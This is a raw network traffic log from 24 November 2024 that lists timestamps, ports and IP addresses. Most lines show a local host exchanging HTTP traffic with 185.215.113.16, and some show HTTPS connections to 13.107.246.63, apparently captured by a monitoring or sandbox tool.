Nov 24, 2024 05:11:44.325375080 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.325423002 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.326112032 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.326230049 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.326280117 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.326984882 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.327107906 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.327161074 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.327888966 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.328099012 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.328165054 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.328694105 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.328749895 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.328797102 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.329560041 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.329747915 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.329796076 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.330387115 CET	443	49763	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.330421925 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.330463886 CET	443	49763	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.330532074 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.330724955 CET	49763	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.330795050 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.330822945 CET	49763	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.330847025 CET	443	49763	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.330863953 CET	49763	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.330868959 CET	443	49763	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.331280947 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.331408024 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.332133055 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.332262993 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.332323074 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.333143950 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.333254099 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.333328009 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.333935976 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.334000111 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.334053993 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.334439993 CET	49769	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.334551096 CET	443	49769	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.334667921 CET	49769	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.334717989 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.334863901 CET	49769	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.334877014 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.334894896 CET	443	49769	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.334956884 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.335553885 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.335680008 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.335750103 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.336448908 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.336541891 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.336592913 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.337284088 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.337405920 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.337454081 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.338161945 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.338258982 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.338310003 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.338931084 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.374008894 CET	443	49766	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.374170065 CET	443	49766	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.374408960 CET	49766	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.374408960 CET	49766	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.374444008 CET	49766	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.374464989 CET	443	49766	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.377775908 CET	49770	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.377840042 CET	443	49770	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.377933025 CET	49770	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.378130913 CET	49770	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.378150940 CET	443	49770	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.395844936 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.420989990 CET	443	49765	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.421089888 CET	443	49765	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.421366930 CET	49765	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.421406031 CET	49765	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.421406031 CET	49765	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.421428919 CET	443	49765	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.421438932 CET	443	49765	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.424892902 CET	49771	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.424947023 CET	443	49771	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.425020933 CET	49771	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.425157070 CET	49771	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.425180912 CET	443	49771	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.486157894 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.486309052 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.486540079 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.486635923 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.486699104 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.486812115 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.487411976 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.487474918 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.487530947 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.488274097 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.488348961 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.488395929 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.489125967 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.489228010 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.489265919 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.489953041 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.490082026 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.490813017 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.490840912 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.490978003 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.491031885 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.491668940 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.491794109 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.491844893 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.492546082 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.492662907 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.492716074 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.493402004 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.493510008 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.493556976 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.494261980 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.494452953 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.494499922 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.495122910 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.495229006 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.495981932 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.496032953 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.496103048 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.496870041 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.496922970 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.497009993 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.497708082 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.497756004 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.497838974 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.498570919 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.498615980 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.498651028 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.498805046 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.499409914 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.499522924 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.499583006 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.500252962 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.500389099 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.500441074 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.501116991 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.501252890 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.501296997 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.501991034 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.502094984 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.502157927 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.502844095 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.502965927 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.503741980 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.503803015 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.503835917 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.504556894 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.504604101 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.504676104 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.505443096 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.505489111 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.505530119 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.506289959 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.506341934 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.506428957 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.506812096 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.507178068 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.507323980 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.507380009 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.508018017 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.508080006 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.508124113 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.508896112 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.509069920 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.509125948 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.509726048 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.509890079 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.509932041 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.510576963 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.510683060 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.510730982 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.511456966 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.511564970 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.512310982 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.512375116 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.512492895 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.513190985 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.513243914 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.513245106 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.514046907 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.514105082 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.514168978 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.514818907 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.514879942 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.514930010 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.515006065 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.516079903 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.516169071 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.516237020 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.516593933 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.516715050 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.516758919 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.517473936 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.517575979 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.517626047 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.518307924 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.518413067 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.518469095 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.519161940 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.519279003 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.520016909 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.520071983 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.520119905 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.520981073 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.521029949 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.521094084 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.521863937 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.521898031 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.521919966 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.521940947 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.522600889 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.522708893 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.522808075 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.523448944 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.523562908 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.523605108 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.524326086 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.524431944 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.524486065 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.525181055 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.525332928 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.525377035 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.526067019 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.526175022 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.526226997 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.527419090 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.527435064 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.527767897 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.527822971 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.527827024 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.528743982 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.528778076 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.528799057 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.529521942 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.529532909 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.529583931 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.530332088 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.530438900 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.530818939 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.531122923 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.545311928 CET	443	49767	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.545368910 CET	443	49767	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.550875902 CET	49767	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.551115990 CET	49767	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.551134109 CET	443	49767	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.551146030 CET	49767	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.551151991 CET	443	49767	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.554343939 CET	49772	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.554378986 CET	443	49772	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.554836988 CET	49772	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.554984093 CET	49772	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:44.554999113 CET	443	49772	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:44.583352089 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.678246021 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.678291082 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.678649902 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.678801060 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.678826094 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.679518938 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.679615021 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.679689884 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.680335045 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.680473089 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.680529118 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.681271076 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.681351900 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.681420088 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.682113886 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.682184935 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.682246923 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.682964087 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.683037996 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.683804989 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.683868885 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.683988094 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.684699059 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.684757948 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.684766054 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.685520887 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.685580015 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.685636997 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.686389923 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.686440945 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.686482906 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.686821938 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.687241077 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.687325001 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.687381029 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.688148022 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.688244104 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.688294888 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.688985109 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.689076900 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.689129114 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.689838886 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.689929008 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.689990044 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.690721989 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.690793037 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.690853119 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.691538095 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.691652060 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.691700935 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.692430973 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.692512035 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.692563057 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.693264961 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.693479061 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.694139957 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.694165945 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.694219112 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.695019960 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.695132971 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.695866108 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.695929050 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.696064949 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.696717024 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.696769953 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.696798086 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.697577000 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.697621107 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.697662115 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.698417902 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.698472023 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.698507071 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.698807955 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.699297905 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.699387074 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.699491024 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.700177908 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.700274944 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.700321913 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.700999975 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.701097965 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.701154947 CET	49761	80	192.168.2.7	185.215.113.16
Nov 24, 2024 05:11:44.701863050 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.701980114 CET	80	49761	185.215.113.16	192.168.2.7
Nov 24, 2024 05:11:44.702032089 CET	49761	80	192.168.2.7	185.215.113.16
